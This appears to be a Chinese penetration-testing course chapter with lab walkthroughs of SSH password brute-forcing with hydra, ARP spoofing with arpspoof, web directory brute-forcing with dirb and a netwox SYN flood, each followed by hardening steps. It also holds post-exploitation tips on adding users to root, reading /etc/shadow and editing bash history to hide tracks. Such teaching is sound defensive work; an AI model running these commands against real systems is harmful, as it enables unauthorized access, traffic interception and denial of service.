5. 威胁建模阶段
- 目标
- 了解威胁建模阶段的工作内容
工作内容
威胁建模主要使用在情报搜集阶段所获取到的信息,来标识出目标系统上可能存在的安全漏洞与弱点。
在进行威胁建模时,确定最为高效的攻击方法、所需要进一步获取到的信息,以及从哪里攻破目标系统。
6. 漏洞分析阶段
- 目标
- 了解漏洞分析阶段的工作
工作内容
在漏洞分析阶段,综合从前面的几个环节中获取到信息,并从中分析和理解哪些攻击途径会是可行的。
特别是需要重点分析端口和漏洞扫描结果,获取到的服务“旗标”信息,以及在情报搜集环节中得到的其他关键信息。
7. 渗透攻击阶段
- 目标
- 了解本阶段的工作内容
工作内容
渗透攻击可能是在渗透测试过程中最有魅力的环节,然而在实际情况下往往没有你所预想的那么“一帆风顺”,而往往是“曲径通幽”。
最好是在你基本上能够确信特定渗透攻击会成功的时候,才真正对目标系统实施这次渗透攻击,当然在目标系统中可能存在着一些你没有预期到的安全防护措施,使得这次渗透攻击无法成功。
7.1. 远程登录攻防实战 -- ssh篇
- 目标
- 了解hydra工具的基本用法
- 了解常用口令字典的来源
- 掌握应对远程登录暴力破解的基本防护手段
7.1.1. 概述
linux系统多用于服务器操作系统, 这种场景下,一般通过ssh来进行远程管理。
像Telnet、Rlogin等传统远程管理工具,由于其采用明文传输,数据信息容易被窃听,考虑到安全合规要求,一般会被禁用。
-
渗透测试目标
通过踩点、扫描后,确定渗透目标主机, 利用暴力破解工具, 对渗透目标主机的ssh服务进行暴力破解。
-
环境
- 渗透主机:Kali linux系统
- 渗透靶机: 。。。。。。(通过搜集情报获取。)
7.1.2. 小试牛刀
我们先实战,操作一遍后,再介绍概念。
- 踩点
通过踩点,确认渗透目标主机
$ nmap -sP 192.168.16.0/24
- 扫描
对确定目标主机, 进行扫描,获取端口信息
$ nmap -sS 192.168.16.204
对确定的服务进一步扫描,获取其服务指纹
$ nmap -sV -p 22 192.168.16.204
- 查点
此步可省略, 但对于ssh, 可通过telnet获取服务版本信息,作为对扫描服务指纹的补充和验证
$ telnet 192.168.16.204 22
- 暴力攻击
$ hydra -l msfadmin -P passwd.txt -e nsr -vV -o ssh_ok.log 192.168.16.204 ssh
命令说明:
-l msfadmin: 指定用户名msfadmin
-P passwd.txt: 指定字典文件passwd.txt
-e nsr: 额外检查,n 代表空口令, s代表用户名, r代表用户名称逆序(反向)
-vV: 显示详细过程
-o ssh_ok.log: 输出login/passwd 对到ssh_ok.log
192.168.16.204: 靶机IP地址
ssh: 被攻击的协议
-
提权 or 后门
-
? 讨论, 利用
-
添加用户到root组、sudo组。
-
查看/etc/shawdow文件, 获取口令的哈希数据
-
修改 /etc/resolv.conf , ??? 影响啥?
-
掩踪灭迹
举例: 查看 ~/.bash_history, 清除部分命令操作,不建议直接删除文件
itcast@itcast $ vi ~/.bash_history
。。。。
- 渗透报告
。。。。。
7.1.3. Hydra 工具介绍
Hydra 是Kali Linux中一款很受欢迎的密码破解工具,支持多种协议的攻击, 基本用法可以通过man hydra 来查看,
- 基本用法
hydra -l 用户 -P 密码字典 -t 32 -e nsr -vV -o ssh_ok.log IP ssh
-l/-L 指定用户名-l, 或者-L 指定用户名字典(用户名列表)
-p/-P 指定用户口令-p,或者-P 指定用户口令字典(用户口令列表)
-t : 指定并行任务数量,默认16
-e: 额外检查,n 代表空口令, s代码用户名, r代码用户名称逆序(反向)
-vV: 显示详细过程
-o: 输出login/passwd 对到指定的文件
IP: 靶机IP地址
ssh: 被攻击的协议(服务名称, telnet、ftp、pop3、ssh...)
在hydra工具中, 如果用户名不知道,需要使用用户字典, 但会增加暴力破解难度。 因此,隐藏用户名也是一种好的防护手段。
7.1.4. 口令字典
从上面的实战中,可知, 暴力破解的成功与否、效率高低,关键是看”口令字典“是否给力。下图是常用的用户和弱口令
那么我们常用的字典有三种获取方式
- kali 默认自带的字典
$ ls /usr/share/wordlists/rockyou.txt
- 开源届提供的字典
在网络上,提供了很多可以使用的”现成“的口令字典, 下载就好
-
cupp工具生成字典
下载字典
itcast@itcast $ cupp -l
Choose the section you want to download:
1 Moby 14 french 27 places
2 afrikaans 15 german 28 polish
3 american 16 hindi 39 random
4 aussie 17 hungarian 30 religion
5 chinese 18 italian 31 russian
6 computer 19 japanese 32 science
7 croatian 20 latin 33 spanish
8 czech 21 literature 34 swahili
9 danish 22 movieTV 35 swedish
10 databases 23 music 36 turkish
11 dictionaries 24 names 37 yiddish
12 dutch 25 net 38 exit program
13 finnish 26 norwegian
生成口令字典: 根据实践情况输入即可, 默认回车即可
itcast@itcast $ cupp -i
[+] Insert the informations about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: a
> Surname:
7.1.5. 安全防护
了解了远程登录如何暴力破解后, 我们看看如何运用我们之前学习的防护机制。来对系统进行”安全加固“(有称安全增强)
- 禁止默认用户(root)登录
从前面hadry工具中, 我们可以看到,需要提供用户名 (或用户字典/列表), 可见,如果Attacker无法用默认root用户登录的话, 那么将增加Attacker的攻击难度。
修改/etc/ssh/sshd_config
文件: 禁用root登录
Tony.Guo@2018-03-13 15:38:28 $ sudo vi /etc/ssh/sshd_config
PermitRootLogin yes
改为 :
PermitRootLogin no
- 限定可登录的用户列表
对于多普通用户的场景,建议可远程登录用户许可,可远程登录的用户越少,Attacker猜对用户名的概率越低, 相应来说,越安全。
可通过白名单, 列出允许登录的用户名称列表。
itcast@itcast $ sudo vi /etc/ssh/sshd_config
#添加
AllowUsers xxxuser1 xxxuser2
也可通过黑名单的, 列出禁止登录的用户列表(黑白名单用一个就好)
itcast@itcast $ sudo vi /etc/ssh/sshd_config
#添加
DenyUsers root xxxuser1 xxxuser2
注意: 修改sshd_config
后, 需要重启ssh服务,才能生效。
传统方法:
itcast@itcast $ sudo /etc/init.d/ssh restart
systemd方法
itcast@itcast $ sudo systemctl restart ssh.service
- ssh服务鉴权次数限定
对于允许登录的用户,可以通过ssh鉴权失败次数,来增加对抗暴力破解的难度
itcast@itcast $ sudo vi /etc/ssh/sshd_config
# 添加(默认6次)
MaxAuthTries 3
注意, 这个选项的作用,在口令输入错误超过设定次数后, 主动断开链接,但允许client端再次发起链接。
此种方式在应对口令破解中,可以增加破解的时间开销, 并不能完全避免口令被暴力破解。 但是,由于口令破解的时间加长,也就给了IDS/IPS(入侵检测系统)反应的时间。便于系统运维人员采取措施。
- 鉴权失败锁定用户帐号
当用户鉴权失败到达指定次数时,锁定用户帐号一定时间。 在用户帐号的锁定时间内,不接受用户口令鉴权。此项功能通过pam_tally实现
itcast@itcast $ sudo vi /etc/pam.d/sshd
#添加
auth required pam_tally.so per_user unlock_time=300 onerr=succeed audit deny=5
选项解读:
unlock_time=300: 锁定帐号300秒
onerr=succeed: 当鉴权失败时,返回PAM_SUCCESS
audit: 当用户名不存在时,将用户名写入入系统log
deny=5 : 用户鉴权失败超过5次锁定
-
小结
本文介绍了hydra 工具的基本用法,通过hydra工具,结合渗透测试流程, 对渗透目标主机进行暴力破解实战。
以及,结合Linux安全防护机制, 对系统进行安全加固,提高系统安全性。 以及在linux下,应对口令破解的几种防护方法。未作原理性展开描述。
7.2. 中间人攻击--ARP欺骗实战
- 目标
- 了解ARP协议的工作原理
- 了解arpspoof的基本用法
- 了解ARP攻击防护的基本方法
7.2.1. ARP 协议介绍
ARP协议通过IP地址来查找主机的物理地址(也就是MAC地址)。
在一个以太网交换网络内,主机A希望能与主机B进行交流(需要获取主机B的MAC地址)。
所以主机A通过交换机对整个网络进行广播,然后使用地址解析协议找到目标主机B的MAC地址。
尽管整个广播域下都能收到主机A发送的信息,但只有B主机才会回复ARP请求,将自己的MAC地址发给主机A。
如下图:
ARP请求:
在上述场景下, 主机A的ARP请求发送一个广播给所有同网络的主机, 目标MAC为全F
ARP响应:
主机B进行相应,其中包含主机B的MAC地址(主机B也在同一网段内)。
注意, 我们在主机A和主机B通信时,提供的是IP地址,那么,在每次通信前,都需要进行获取主机B的MAC地址, 这样,效率低下。为了解决这个问题(IP到MAC地址的映射), 在主机A维护了ARP缓存表,如下所示
itcast@itcast $ arp
Address HWtype HWaddress Flags Mask Iface
localhost ether 14:75:90:50:57:db CM wlp2s0
localhost ether 14:75:90:50:57:db C wlp2s0
所以:所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送ARP广播,ARP表中包含IP对应的MAC地址。
7.2.2. ARP 欺骗
ARP 欺骗也称作ARP毒化、ARP缓存中毒,ARP欺骗攻击。
就是是在内网的中间人攻击。ARP欺骗采取的优势是通过ARP协议欺骗,达到对整个网络进行欺骗。
- 中间人攻击 就是攻击者扮演中间人并且实施攻击。它有时被称为monkey-in-the-middle, 这其实是一个危险的攻击,它可以劫持一段会话,我们叫它会话劫持。它可以窃取凭证和其他机密信息,即使使用了SSL加密。
ARP欺骗攻击建立在局域网主机间相互信任的基础上的
当A发广播询问:我想知道IP是192.168.16.202的硬件地址是多少?
此时B当然会回话:我是IP192.168.16.202,我的硬件地址是mac-b,
可是此时IP地址是192.168.16.30的C也非法回了:我是IP192.168.16.202,我的硬件地址是mac-c。而且是大量的。
所以A就会误信192.168.0.3的硬件地址是mac-c,而且动态更新缓存表
这样主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。
7.2.3. 小试牛刀
- 环境
主机A: 192.168.16.25 mac-a 靶机
主机B:192.168.16.202 mac-b 一般主机,替代网关
主机C: 192.168.16.30: e0:db:55:f0:07:d0(mac-c) 攻击机
描述: 主机A 和 主机B 正常通信, 主机C开展欺骗, 冒充主机B的MAC地址,劫持由A发往B的数据,
-
主机A , ping 主机B, 向B发送数据
-
在主机B, 开启嗅探工具,此时应有数据
-
此时,主机C开启嗅探工具, 抓主机A的包,应该没有数据
-
主机C开始ARP攻击, 告诉A, 我是B。。。。。
arpspoof -i enp8s0 -t 192.168.16.25 192.168.16.202
一次不行,多发几次
- 查看 A 的ARP缓存,看192.168.16.202的MAC地址是否变为mac-c, 主机C是否捕获到数据
7.2.4. ARPSPOOF 攻击介绍
arpspoof是一个非常好的ARP欺骗的源代码程序。它的运行不会影响整个网络的通信,该工具通过替换传输中的数据从而达到对目标的欺骗。
- 基本用法
arpspoof -i <网卡名> -t <欺骗的目标> <我是谁>
7.2.5. ARP欺骗防护
一般采用MAC地址绑定的措施,来进行防护,简单说,就是绑定MAC + IP地址。
- 查看当前arp缓存列表
itcast@itcast $ sudo arp -a
localhost (192.168.108.1) at 7c:25:87:00:6b:6c [ether] on wlp2s0
localhost (192.168.108.19) at b8:63:4d:20:16:46 [ether] on wlp2s0
- 创建 ip mac地址对文件
itcast@itcast $ touch ip-mac
itcast@itcast $ echo "192.168.108.1 7c:25:87:00:6b:6c" > ./ip-mac
itcast@itcast $ cat ip-mac
192.168.108.1 7c:25:87:00:6b:6c
- 绑定地址
命令直接设置
itcast@itcast $ sudo arp -s 192.168.0.108 14:75:90:50:57:db
itcast@itcast $ sudo arp -f ip-mac
itcast@itcast $ sudo arp -a
localhost (192.168.108.1) at 7c:25:87:00:6b:6c [ether] PERM on wlp2s0
localhost (192.168.108.19) at b8:63:4d:20:16:46 [ether] on wlp2s0
也可以查看如下格式:
itcast@itcast $ sudo arp -v
Address HWtype HWaddress Flags Mask Iface
localhost ether 7c:25:87:00:6b:6c CM wlp2s0
localhost ether b8:63:4d:20:16:46 C wlp2s0
Entries: 2 Skipped: 0 Found: 2
标志解读
Address:主机的IP地址
Hwtype:主机的硬件类型
Hwaddress:主机的硬件地址
Flags Mask:记录标志,“C“表示arp高速缓存中的条目,“M“表示静态的arp条目
7.3. Web渗透测试实战-敏感信息获取
-
目标
- 了解Web服务中的敏感数据(文件)的含义
- 了解web渗透测试的基本方法
- 知道web敏感信息暴力破解中常用字典的获取方法
7.3.1. 概述
-
渗透目标
通过踩点、扫描确认目标主机后, 利用暴力破击方式, 获取目标网站的敏感信息(文件/目录)
-
渗透环境
- 渗透主机: Kali Linux
- 渗透靶机: testphp.vulnweb.com
-
渗透测试思路、典型方法
方法也很简单(笨办法^_^), 选用一本强大的web content(内容?)字典,进行暴力破解, 当web应用存在该目录或文件返回200, 收集这个域名下的所有链接,然后总结出需要的信息。
7.3.2. 牛刀小试
- 踩点, 目标主机在线存活
我们先看看我们目标靶机是否在线存活
itcast@itcast $ nmap -sP testphp.vulnweb.com
Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:12 CST
Nmap scan report for testphp.vulnweb.com (176.28.50.165)
Host is up (0.31s latency).
rDNS record for 176.28.50.165: rs202995.rs.hosteurope.de
Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds
看到 Host is up , 说明我们的目标靶机是“开机”的
- 收集目标网站的域名信息
itcast@itcast $ whois vulnweb.com
Domain Name: VULNWEB.COM
Registry Domain ID: 1602006391_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.eurodns.com
Registrar URL: http://www.EuroDNS.com
Updated Date: 2018-06-08T03:21:41Z
....
Registrant Name: Acunetix Acunetix
Registrant Organization: Acunetix Ltd
Registrant Street: 3rd Floor,, J&C Building,, Road Town
还可以通过, dnsenum --enum查看一下。。。
- 收集目标网站的路由信息
Panda.Guo@2018-09-13 15:10:17 $ traceroute testphp.vulnweb.com
traceroute to testphp.vulnweb.com (176.28.50.165), 30 hops max, 60 byte packets
1 localhost (192.168.108.1) 2.209 ms 4.255 ms 7.187 ms
2 localhost (192.168.1.1) 9.886 ms 9.910 ms 12.460 ms
3 114.253.32.1 (114.253.32.1) 16.996 ms 17.033 ms 18.413 ms
4 114.244.94.153 (114.244.94.153) 21.890 ms 26.294 ms 26.812 ms
5 61.148.157.229 (61.148.157.229) 24.500 ms 25.120 ms 26.881 ms
6 61.49.214.9 (61.49.214.9) 28.980 ms 61.49.214.13 (61.49.214.13) 8.499 ms 202.96.12.125 (202.96.12.125) 13.376 ms
7 219.158.18.66 (219.158.18.66) 10.832 ms 219.158.5.150 (219.158.5.150) 13.958 ms 219.158.5.154 (219.158.5.154) 14.509 ms
8 219.158.3.178 (219.158.3.178) 11.402 ms 11.958 ms 12.529 ms
9 219.158.102.222 (219.158.102.222) 153.957 ms 154.554 ms 219.158.107.118 (219.158.107.118) 363.002 ms
10 219.158.33.194 (219.158.33.194) 359.260 ms 359.972 ms 360.540 ms
11 ffm-bb3-link.telia.net (62.115.142.204) 361.447 ms 362.067 ms 343.842 ms
12 ffm-b1-link.telia.net (62.115.121.11) 302.515 ms ffm-b1-link.telia.net (62.115.141.239) 296.007 ms ffm-b1-link.telia.net (62.115.121.7) 294.861 ms
13 ae2.cr-nunki.sxb1.core.heg.com (62.115.144.9) 296.593 ms 297.198 ms 297.926 ms
14 * * ae0-v100.sr-sol.sxb1.mass.systems (87.230.112.3) 277.378 ms
15 rsn0517.rs1.hosteurope.de (5.35.227.35) 411.602 ms * 410.955 ms
16 rs202995.rs.hosteurope.de (176.28.50.165) 407.578 ms 408.197 ms 407.258 ms
- 渗透目标机系统指纹
itcast@itcast $ sudo nmap -O testphp.vulnweb.com
Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:15 CST
.....
Device type: storage-misc|broadband router|WAP|general purpose|router|specialized|media device
Running (JUST GUESSING): HP embedded (95%), AVM FritzOS 6.X (93%), Linux 2.6.X|2.4.X (92%), Ubiquiti embedded (92%), MikroTik RouterOS 5.X (92%), Synology DiskStation Manager 3.X (91%), Priva embedded (91%), Sony embedded (91%)
......
我主要看Running, 从上面Guessing可以看出, nmap老兄也是猜的,且还猜出好几个版本^_^.
- 扫描目标靶机是否开启了web服务
itcast@itcast $ sudo nmap -p 80 www.baidu.com
Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:51 CST
Nmap scan report for www.baidu.com (61.135.169.125)
Host is up (0.0067s latency).
Other addresses for www.baidu.com (not scanned): 61.135.169.121
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
从上面可以看出, 80端口已经开启, 且提供web服务。
- 扫描目标靶机web服务指纹
itcast@itcast $ sudo nmap -A -T4 -p 80 testphp.vulnweb.com
Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-08 16:42 CST
Nmap scan report for testphp.vulnweb.com (176.28.50.165)
Host is up (0.30s latency).
rDNS record for 176.28.50.165: rs202995.rs.hosteurope.de
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.4.1
|_http-server-header: nginx/1.4.1
|_http-title: Home of Acunetix Art
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
。。。。。
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.86 seconds
Panda.Guo@2018-08-06 16:42:50 $
从这一行80/tcp open http nginx 1.4.1
, 可以看出, Web采用了nginx作为Service, 版本为1.4.1
小结一下: 至此我们获取了如下信息, 一个目前主机处于运行状态,采用nginx提供web服务, nginx版本为1.4.1.
- 敏感信息暴力破解
root@Kali-itcast: # dirb http://testphp.vulnweb.com ./all.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 10 12:53:31 2018
URL_BASE: http://testphp.vulnweb.com/
WORDLIST_FILES: ./all.txt
-----------------
GENERATED WORDS: 43104
---- Scanning URL: http://testphp.vulnweb.com/ ----
==> DIRECTORY: http://testphp.vulnweb.com/CVS/
==> DIRECTORY: http://testphp.vulnweb.com/admin/
==> DIRECTORY: http://testphp.vulnweb.com/images/
+ http://testphp.vulnweb.com/index.php (CODE:200|SIZE:4096)
+ http://testphp.vulnweb.com/logout.php (CODE:200|SIZE:3965)
+ http://testphp.vulnweb.com/login.php
--> Testing: 。。。。
- 敏感信息获取
一般可用过wget获取
itcast@itcast $ wget -c http://testphp.vulnweb.com/login.php
7.3.3. dirb 工具介绍
dirb是kali linux提供的一个强大的web 内容扫描工具, 它查找现有的(和/或隐藏的)Web对象。它基本上是通过启动一个字典来攻击Web服务器并对响应进行分析。
- 基本用法
dirb <url_base> [<wordlist_file(s)>]
url_base : url地址
<wordlist_file(s)>: 字典
补充:
关于URL, Uniform Resource Locator , 统一资源定位符.
语法格式:协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀?参数=值#标志
7.3.4. Web Content字典
- 默认字典
itcast@2018-09-13 17:56:21 $ls /usr/share/wordlists/dirb/
big.txt catala.txt common.txt
...
本次验证,可选中common.txt
-
下载开源字典
本次我们选用开源的暴力破解工具字典SVN Digger项目,
官网:How to Create Better List for Forced Browsing with Dirbuster | Invicti,
使用其中的all.txt, 内容如下:
Panda.Guo@2018-08-06 10:12:39 $ more all.txt
common
CVS
root
Entries
lang
home.php
setup.php
install.txt
。。。。
7.3.5. 安全防护措施
坦白的说, 对于这种攻击方式,没有太好的防护措施,最主要的是如果不希望用户获取的敏感信息,就不要放到web服务目录里, 如 .git, .svn等类似文件。
从入侵检测角度,增加防护措施,对于服务器产生应答 404 Not Found等信息,进行检测,如某针对某个IP总是应答该信息。则需要关注。
7.3.6. 知识拓展
-
OWASP 介绍
-
OWASP 是什么
- 一个项目: OWASP 全称是:Open Web Application Security Project, 开放式Web应用程序安全项目。
- 一个组织:OWASP是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。
- 组织的使命: 我们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。
-
官方网站:
- OWASP Foundation, the Open Source Foundation for Application Security | OWASP Foundation
- Welcome to OWASP CHINA — OWASP-CHINA
-
为什么要了解OWASP呢?
- 在做一名安静的Web渗透测试人员必备的8种素质和技能第二种素质提到: “Web渗透测试工程师应熟悉OWASP的TOP 10”, (10项最严重的 Web 应用程序安全风险)。 可见, 作为一名“未来非知名的专业Web渗透测试人士,我们还是要了解一点OWASP的。
在我提供给大家的参考资料中, 《OWASPTop102017v1.3.pdf》, 有关于2017年的OWASP Top10:
每年关于应用安全风险的Top10 还是会有所差异, 下图是关于2013年和2017年的对比情况
- 渗透靶机:vulnweb.com介绍
vulnweb.com 是一个由Acunetix公司维护的网站, 该网站提供了一些存在漏洞的WEB应用,可让你用来进行渗透测试,验证自己的测试工具。
Acunetix是马耳他的全球排名前三的漏洞扫描厂商,同类产品包括Nessus, Qualys,这两款属于美国知名的漏洞扫描软件厂商。 -- 百度百科
- 获取系统 or 应用的版本的重要性
我在上面渗透测试过程中, 获取了应用程序的版本号, 那么这个版本号,对我们渗透测试人员,有何意义呢?
在这里给大家介绍一个我们国家维护的的”国家信息安全漏洞共享平台“ http://www.cnvd.org.cn
在这个安全漏洞共享平台上, 会定期发布关于漏洞信息、补丁信息、安全公告等有关的信息。
下面选取了一个 CNVD-2014-06347这个漏洞信息的截图 , 详细信息可见: http://www.cnvd.org.cn/flaw/show/CNVD-2014-06347
这是个关于”nginx SSL会话固定漏洞“, 在漏洞描述中, 提到”nginx 0.5.6-1.7.4版本在实现上存在会话固定漏洞“, 也就是这些个版本,都存有该漏洞。 对于这个信息:
- 作为安全防护人员, 如果你系统nginx当前版本, 位于“0.5.6-1.7.4”区间, 那么就需要对nginx进行安全升级。
- 作为渗透测试人员, 如果你发现渗透靶机的nginx版本位于“0.5.6-1.7.4”区间,那么就意味着,该靶机的nginx可能存有“nginx SSL会话固定漏洞"(万一系统维护人员没有及时升级呢), 渗透攻击验证一下就好了。
- 敏感文件/目录
当我们对一个传统的Web应用或者大型的电子商务系统进行渗透测试时, 一般不会完全掌握Web服务器上所有可以访问的文件/目录,以及文件/目录的组织结构, 特别是敏感目录/文件。
在这这种情况下,我们可以选择部署一个“爬虫”, 尽可能多的爬取网站中关于Web应用的信息。
注意, 所爬取的这些信息,都是网站公开的信息,也就是开发者所希望(允许)展现(暴露)的信息。
而我们呢, 更希望获取一些开发者不希望软件暴露的信息(功能), 也就是所谓的敏感目录/文件, 包括:
- 可能导致源代码泄露 的文件:常见有.git文件泄露,.svn文件泄露,.DB_store文件泄露,WEB*INF/web.xml泄露。
- 网站的管理员入口文件
- 其他一些敏感文件(.mdb,.excel,.word,.zip,.rar)
- 该Web应用的配置文件
- 调试文件
- 及其他琐碎的安全文件等
结论一句话: 就是我们获取该网站管理人员,不希望暴露的那些信息(文件)
7.4. 基于TCP协议的DDOS攻击实战
-
目标
- 了解DDOS攻击的基本概念
- 了解TCP Flood攻击的基本原理
- 了解原始套接字构建网络包,实施TCP Flood攻击的基本方法
- 掌握TCP Flood攻击的防护手段
7.4.1. 概述
我们先了解一些概念。。。。
-
传输控制协议-TCP
TCP(Transmission Control Protocol) 传输控制协议是TCP/IP协议栈的核心协议,它位于IP协议层之上,在网络上的两台计算机之间提供可靠的、有序的通信通道。许多应用比如浏览器、SSH、Telnet、Email等使用TCP进行通信。TCP协议处于为应用提供主机到主机通信服务的传输层。
一般我们讲TCP提供可靠的有连接服务,这个可靠包括三层含义
- 数据有序传输
- 丢包重传机制
- 流量控制机制
- 分布式拒绝服务-DDOS
DOS
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
DDOS (DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。
DDoS攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的。 这种攻击方式可分为以下几种:
- 通过使网络过载来干扰甚至阻断正常的网络通讯;
- 通过向服务器提交大量请求,使服务器超负荷;
- 阻断某一用户访问服务器;
- 阻断某服务与特定系统或个人的通讯。
7.4.2. TCP协议的工作原理
我们通过一个简单的TCP client程序和TCP Server程序来展示TCP建立连接、数据传输、断开连接的过程。以下这两个程序中,为了能清晰说明程序的通信过程,不做容错处理,力求简单。工作当中这样的程序是不能正常工作的。
-
掀开数据传输的面纱
一旦连接建立, OS分别为Client端和Server端申请两个Buffer, 一个是SendBuffer,用于发送数据,一个是ReceiveBuffer,用于接收数据。 TCP协议是全双工的,两端都可以发送和接收数据。详细流程见下图:
这里面有几个问题,我们此处并不会对TCP协议完整展开解释,选取和我们后续课程相关重点的描述一下:
-
TCP提供面向连接的服务, 连接的建立过程在下一章节中,重点描述。
-
数据有序传输? 每个数据包编个序号,数据包到达主机可能错序,在传输层调整顺序后上传。
-
丢包重传机制:引入滑动窗口机制, 窗口内的数据如果没有接到应答ack, “超时”进行重传
-
流量控制机制:引入滑动窗口机制后,接收端实时通知发送端当前自己接受窗口大小,从而约束发送端的发送,进行流量控制
-
TCP Header
TCP 部分一般称之为Segment, 数据段, (补充: 在应用层--消息、传输层--数据段Segment、网络层--包/分组 packet、 链路层--帧frame、 物理层bits),对于TCP header的格式如上图所述, 详细解读如下:
- 源端口号和目的端口号, 各占16bits
- 32位序号 (seq)
- 32位应答序号(ack)
- TCP header长度: 4位, 以4字节度量, 故Header最长为64字节
- 保留: 6位
- 标志位: 6位, 包括 SYN、FIN、ACK、RST、PSH、URG
- 滑动窗口: 16位, 可用于流量控制
- 校验: 16位
- 紧急指针:16位, 当URG标志置位时, 此指针有效,用于带外数据
- 选项:0~320bits, 以32bits为单位,TCP可以通过options携带一些补充数据
我们讲,TCP是面向连接的服务, 因此就存在建立连接, 断开连接等操作。后续我们选取针对连接建立过程和连接断开过程进行攻击方面的展示。
7.4.3. TCP SYN Flood 攻击实战
-
TCP 建立连接(三次握手)
我们说TCP提供面向连接的服务, 因此数据发送前需要先通过三次握手建立连接:
-
第一次握手: 首先客户端C(?)主动发起连接,发送SYN(连接请求标志), 以及序号SEQ=x(序号x随机生成)到服务器端S。
-
第二次握手: 服务器端S接受到SYN后, 向客户端C也发送SYN及ACK, 且ack=x+1, 以及序号Seq=y(序号y随机生成)。
-
第三次握手: 客户端接到SYN及ACK后, 核查ack是否为x+1, 若正确, 则客户端C发送ACK 且ack=y+1,至服务器端S。
-
服务器端S接收到ACK,核查ack是否为y+1. 若正确,则连接正常建立。
三方握手建立连接的过程详细见下图
- SYN Flooding 攻击
我们先用命令构建攻击程序:
sudo netwox 76 -i 192.168.16.23 -p 23 -s raw
补充: Netwox是一款非常强大和易用的开源工具包,可以创造任意的TCP/UDP/IP数据报文。Netwox工具包中包含了超过200个不同功能的网络报文生成工具,每个工具都拥有一个特定的编号。
在探讨SYN攻击之后,我们先看看linux内核对SYN是怎么处理的:
- Server接收到SYN连接请求。 内部维护一个队列(我们暂称之半连接队列,半连接并不准确), 发送ack及syn给Client端,等待Client端的ack应答,接收到则完成三次握手建立连接。 如果接收不到ack应答,则根据延时重传规则继续发送ack及syn给客户段。
利用上述特点。我们构造网络包,源地址随机构建,意味着当Server接到SYN包时,应答ack和syn时不会得到回应。在这种情况下, Server端,内核就会维持一个很大的队列来管理这些半连接。 当半连接足够多的时候,就会导致新来的正常连接请求得不到响应。 也就是所谓的DOS攻击。
详细见下图所示:
了解了原理后, 我看看C代码实现的攻击程序效果,(代码参见附录)
7.4.4. SYN Flood 攻击防护手段
-
tcp_max_syn_backlog: 半连接队列长度
-
tcp_synack_retries: syn+ack 的重传次数
-
tcp_syncookies : syn dookie
一般的防御措施就是就是减小SYN+ACK重传次数,增加半连接队列长度,启用syn cookie。
不过在高强度攻击面前,调优 tcp_syn_retries 和 tcp_max_syn_backlog 并不能解决根本问题,更有效的防御手段是激活 tcp_syncookies, 在连接真正创建起来之前,它并不会立刻给请求分配数据区存储连接状态,而是通过构建一个带签名的序号来屏蔽伪造请求。
7.4.5. 附录
7.4.5.1. TCP Client 程序
一个客户端程序大概如下几个步骤:
-
创建一个socket,通过过指定参数SOCK_STREAM,来标识基于TCP传输, 如果需要用UDP协议的话,则需要指定SOCK_DGRAM. 特别指出,如果需要通过原始套接字进行通讯,需要指定SOCK_RAW。
-
指定地址信息, 在网络上,我们通过IP地址和Port来标识一个特定主机上的进程,此处填写Server端的IP地址和端号。
-
与Server建立连接, TCP是基于连接下协议,因此在数据传输之前,需要通过三次握手建立连接。
-
收发数据, 一旦连接建立成功,C/S两端就可以通过write/send/sendto/sendmsg发送数据,可以通过read/recv/recvfrom/recvmsg/接收数据
-
关闭连接, 当数据收发完毕后,连接不在需要时,可以通过close断开连接。
linux -网络编程01一网络基本概念和Socket编程_socket程序设计-CSDN博客
linux -网络编程02-多线程并发服务器_linux多线程并发-CSDN博客
详细代码连接如下:
代码示例:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define SER_ADDR "127.0.0.1"
#define SER_PORT 9999
//#define SER_ADDR "172.16.28.98"
/* main function */
int main(int argc, char *argv[])
{
/**
* Step 1: 创建一个socket, 指定SOCK_STREAM参数代表基于TCP协议
* 如果是UDP协议,则需要用SOCK_DGRAM
*/
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
/**
* Step 2: 设置目标主机IP地址和端口号
* IP+Port, 标识网络上某个主机的通信进程
*/
struct sockaddr_in dest;
memset(&dest, 0, sizeof(struct sockaddr_in));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(SER_ADDR);
dest.sin_port = htons(SER_PORT);
/**
* Step 3: 连接服务器
*
*/
if (connect(sockfd, (struct sockaddr *)&dest,
sizeof(struct sockaddr_in)) != 0){
/* 此处SYN Flood攻击会用到 */
fprintf(stdout, "Error for connect: %s\n", strerror(errno));
return 1;
}
/**
* Step 4: 向Server发送数据
*/
char *buffer1 = "Hello Server!\n";
char *buffer2 = "Hello Again!\n";
write(sockfd, buffer1, strlen(buffer1));
write(sockfd, buffer2, strlen(buffer2));
/**
* Step 5: 关闭连接
*/
close(sockfd);
return 0;
}
7.4.5.2. TCP Server程序
一个Server程序的大致步骤为:
-
创建一个socket
-
绑定一个端口号
-
开始监听
-
接受一个连接请求。
-
收发数据
-
